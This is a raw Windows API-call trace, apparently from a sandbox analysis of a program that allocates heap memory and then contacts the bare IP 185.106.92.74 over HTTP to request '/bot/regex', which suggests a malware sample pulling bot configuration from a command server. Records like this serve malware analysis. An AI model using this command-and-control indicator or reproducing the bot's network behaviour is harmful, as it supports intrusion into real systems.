[0211.596] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6bc7b0
[0211.596] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6bd850
[0211.596] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6bde18
[0211.596] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6ba338
[0211.596] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6bc7e0
[0211.596] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6ba158
[0211.596] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6ba178
[0211.596] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6bdad0
[0211.596] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6ba198
[0211.596] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6ba1b8
[0211.596] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x30) returned 0x6bd5b0
[0211.596] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x24) returned 0x6bc810
[0211.596] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6ba238
[0211.596] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6ba2d8
[0211.596] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6bdd78
[0211.596] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6baad8
[0211.596] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6bd7e0
[0211.596] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6bdc38
[0211.596] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6bd540
[0211.597] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6bdda0
[0211.597] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6bfee8
[0211.597] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6bc8a0
[0211.597] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6bfd48
[0211.597] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6bffc8
[0211.597] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6bdb20
[0211.597] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6bff68
[0211.597] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6bff28
[0211.597] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x60) returned 0x6b2d00
[0211.597] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x24) returned 0x6c0480
[0211.597] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6bfd88
[0211.597] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6c0048
[0211.597] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6bda30
[0211.597] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6c0c10
[0211.597] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6bd6c8
[0211.597] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6bda58
[0211.597] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6bff48
[0211.597] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6c02d0
[0211.597] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6bffe8
[0211.597] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6bfe28
[0211.597] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6bddc8
[0211.597] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6bfe48
[0211.597] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6bff88
[0211.597] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x30) returned 0x6bd578
[0211.597] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x24) returned 0x6c0450
[0211.597] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6bfe68
[0211.598] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6c0068
[0211.598] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6bdaf8
[0211.598] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6c0b80
[0211.598] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6bd818
[0211.598] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6bda80
[0211.598] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6bfda8
[0211.598] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6c0180
[0211.598] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6c0088
[0211.598] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6c00c8
[0211.598] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6bdb48
[0211.598] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6bfdc8
[0211.598] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6bfec8
[0211.598] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x30) returned 0x6bd230
[0211.598] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x24) returned 0x6c0210
[0211.598] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6bffa8
[0211.598] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6c0008
[0211.598] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6bdb70
[0211.598] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6c0970
[0211.598] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6bd3f0
[0211.598] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6bdd00
[0211.598] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6bfe88
[0211.598] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6c0600
[0211.598] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6c0028
[0211.598] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6c00a8
[0211.598] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6bdcd8
[0211.598] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6bfd68
[0211.598] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6c00e8
[0211.598] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x30) returned 0x6bd658
[0211.599] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x24) returned 0x6c04b0
[0211.599] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6bfde8
[0211.599] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6bfea8
[0211.599] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6bdc88
[0211.599] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6c0988
[0211.599] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6bd700
[0211.599] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6bde40
[0211.599] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6bfe08
[0211.599] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6c0240
[0211.599] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6bff08
[0211.599] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6bfcc8
[0211.599] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6bdb98
[0211.599] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6bfac8
[0211.599] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6bfd08
[0211.599] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x30) returned 0x6bd268
[0211.599] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x24) returned 0x6c03c0
[0211.599] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6bfaa8
[0211.599] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6bfc68
[0211.599] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6bdbc0
[0211.599] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6c0b38
[0211.599] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6bd460
[0211.599] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6bd9b8
[0211.599] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6bd2a0
[0211.599] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6bdbe8
[0211.599] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6bf988
[0211.599] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6c0300
[0211.599] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6bfd28
[0211.599] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6bfbe8
[0211.599] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6bdcb0
[0211.600] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6bf9a8
[0211.600] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6bf948
[0211.600] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x30) returned 0x6bd310
[0211.600] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x24) returned 0x6c0420
[0211.600] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6bf9c8
[0211.600] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6bf9e8
[0211.600] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6bdc10
[0211.600] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6c0c40
[0211.600] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6bd498
[0211.600] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6bdd28
[0211.600] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6bfc88
[0211.600] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6c03f0
[0211.600] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6bfbc8
[0211.600] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6bfb28
[0211.600] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6bdd50
[0211.600] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6bf968
[0211.600] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6bfa08
[0211.600] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x70) returned 0x6b23c0
[0211.600] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x24) returned 0x6c0360
[0211.600] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6bfae8
[0211.600] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6bfa28
[0211.600] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6bddf0
[0211.600] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6c0b98
[0211.600] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6bd8c0
[0211.600] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6bde68
[0211.600] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6bfa48
[0211.601] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6c01b0
[0211.601] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6bfa68
[0211.601] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6bfca8
[0211.601] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6bd990
[0211.601] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6bfc08
[0211.601] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6bfa88
[0211.601] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x30) returned 0x6bd8f8
[0211.601] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x24) returned 0x6c04e0
[0211.601] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6bfba8
[0211.601] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6bfb88
[0211.601] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6bd9e0
[0211.601] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6c0a00
[0211.601] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6bd888
[0211.601] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6bda08
[0211.601] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6bfb08
[0211.601] Sleep (dwMilliseconds=0x32)
[0211.657] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xd91e3fa0, dwHighDateTime=0x1d96e12))
[0211.658] InternetOpenA (lpszAgent="", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004
[0211.805] GetCurrentProcess () returned 0xffffffff
[0211.806] GetCurrentProcess () returned 0xffffffff
[0211.807] GetCurrentProcess () returned 0xffffffff
[0211.812] GetCurrentProcess () returned 0xffffffff
[0211.814] GetCurrentProcess () returned 0xffffffff
[0211.889] GetCurrentProcess () returned 0xffffffff
[0211.889] GetCurrentProcess () returned 0xffffffff
[0211.896] GetCurrentProcess () returned 0xffffffff
[0211.897] GetCurrentProcess () returned 0xffffffff
[0211.908] GetCurrentProcess () returned 0xffffffff
[0211.909] GetCurrentProcess () returned 0xffffffff
[0211.947] GetCurrentProcess () returned 0xffffffff
[0211.948] GetCurrentProcess () returned 0xffffffff
[0211.953] GetCurrentProcess () returned 0xffffffff
[0211.954] GetCurrentProcess () returned 0xffffffff
[0212.017] GetCurrentProcess () returned 0xffffffff
[0212.018] GetCurrentProcess () returned 0xffffffff
[0212.020] GetCurrentProcess () returned 0xffffffff
[0212.021] GetCurrentProcess () returned 0xffffffff
[0212.023] GetCurrentProcess () returned 0xffffffff
[0212.037] GetCurrentProcess () returned 0xffffffff
[0212.037] GetCurrentProcess () returned 0xffffffff
[0212.038] GetCurrentProcess () returned 0xffffffff
[0212.040] GetCurrentProcess () returned 0xffffffff
[0212.041] GetCurrentProcess () returned 0xffffffff
[0212.098] GetCurrentProcess () returned 0xffffffff
[0212.109] GetCurrentProcess () returned 0xffffffff
[0212.110] GetCurrentProcess () returned 0xffffffff
[0212.111] GetCurrentProcess () returned 0xffffffff
[0212.112] GetCurrentProcess () returned 0xffffffff
[0212.113] GetCurrentProcess () returned 0xffffffff
[0212.114] GetCurrentProcess () returned 0xffffffff
[0212.144] GetCurrentProcess () returned 0xffffffff
[0212.145] GetCurrentProcess () returned 0xffffffff
[0212.145] GetCurrentProcess () returned 0xffffffff
[0212.147] GetCurrentProcess () returned 0xffffffff
[0212.148] GetCurrentProcess () returned 0xffffffff
[0212.152] GetCurrentProcess () returned 0xffffffff
[0212.153] GetCurrentProcess () returned 0xffffffff
[0212.170] GetCurrentProcess () returned 0xffffffff
[0212.171] GetCurrentProcess () returned 0xffffffff
[0212.172] GetCurrentProcess () returned 0xffffffff
[0212.172] GetCurrentProcess () returned 0xffffffff
[0212.323] GetCurrentProcess () returned 0xffffffff
[0212.324] GetCurrentProcess () returned 0xffffffff
[0212.324] GetCurrentProcess () returned 0xffffffff
[0212.326] GetCurrentProcess () returned 0xffffffff
[0212.327] GetCurrentProcess () returned 0xffffffff
[0212.328] GetCurrentProcess () returned 0xffffffff
[0212.352] GetCurrentProcess () returned 0xffffffff
[0212.352] GetCurrentProcess () returned 0xffffffff
[0212.353] GetCurrentProcess () returned 0xffffffff
[0212.355] GetCurrentProcess () returned 0xffffffff
[0212.356] GetCurrentProcess () returned 0xffffffff
[0212.369] InternetConnectA (hInternet=0xcc0004, lpszServerName="185.106.92.74", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008
[0212.423] HttpOpenRequestA (hConnect=0xcc0008, lpszVerb="GET", lpszObjectName="/bot/regex", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x80000000, dwContext=0x0) returned 0xcc000c
[0212.428] HttpSendRequestW (hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0) returned 1
[0213.665] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18dc4c, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x18dbe4 | out: lpBuffer=0x18dc4c*, lpdwNumberOfBytesRead=0x18dbe4*=0x279) returned 1
[0213.666] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18dc4c, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x18dbe4 | out: lpBuffer=0x18dc4c*, lpdwNumberOfBytesRead=0x18dbe4*=0x0) returned 1
[0213.679] InternetCloseHandle (hInternet=0xcc000c) returned 1
[0213.679] InternetCloseHandle (hInternet=0xcc0008) returned 1
[0213.679] InternetCloseHandle (hInternet=0xcc0004) returned 1
[0213.679] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x280) returned 0x6cd970
[0213.679] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x24) returned 0x6e7170
[0213.679] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6e5be8
[0213.679] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6e5c08
[0213.679] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6e5c28
[0213.679] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6e5c68
[0213.679] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6ede80
[0213.679] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6d0ec0
[0213.679] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6f4c00
[0213.679] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6edf48
[0213.679] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6e5ca8
[0213.679] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6e70e0
[0213.679] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6e5a48
[0213.679] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6edde0
[0213.679] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6e5da8
[0213.680] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x4) returned 0x6dd160
[0213.680] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6e6048
[0213.680] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6edcc8
[0213.680] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6e5e08
[0213.680] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6ede30
[0213.680] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6d0dd0
[0213.680] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6f4848
[0213.680] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6ee128
[0213.680] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6e6008
[0213.680] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6e7110
[0213.680] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6e6128
[0213.680] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6edd18
[0213.680] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6e6028
[0213.680] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6edfc0
[0213.680] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6e5f68
[0213.680] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6edd40
[0213.680] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6d0c20
[0213.680] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6f4960
[0213.680] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6ee178
[0213.680] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6e5e28
[0213.680] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6e6ff0
[0213.680] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6e6148
[0213.680] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6edf70
[0213.680] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6e5e68
[0213.680] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6ee0b0
[0213.680] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6e5ea8
[0213.680] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6ee0d8
[0213.680] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6d0b00
[0213.680] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6f4768
[0213.680] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6edd68
[0213.680] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6e6188
[0213.680] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6e7020
[0213.680] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6e6068
[0213.680] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6ede08
[0213.681] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6e6088
[0213.681] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6edf98
[0213.681] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6e5fc8
[0213.681] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6ede58
[0213.681] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6d0c38
[0213.681] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6f47a0
[0213.681] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6ee100
[0213.681] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6e5f48
[0213.681] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6e7050
[0213.681] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6e5f88
[0213.681] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6ee088
[0213.681] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6e5e48
[0213.681] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6edea8
[0213.681] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6e5fa8
[0213.681] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6ee060
[0213.681] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6d0bc0
[0213.681] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6f4b20
[0213.681] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6ee150
[0213.681] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6e5e88
[0213.681] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6e7080
[0213.681] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6e5ec8
[0213.681] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6edf20
[0213.681] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6e5fe8
[0213.681] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6eded0
[0213.681] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6e6168
[0213.681] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6eddb8
[0213.681] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6d0ba8
[0213.681] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6f4810
[0213.681] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6edcf0
[0213.681] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6e5f28
[0213.681] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6d1830
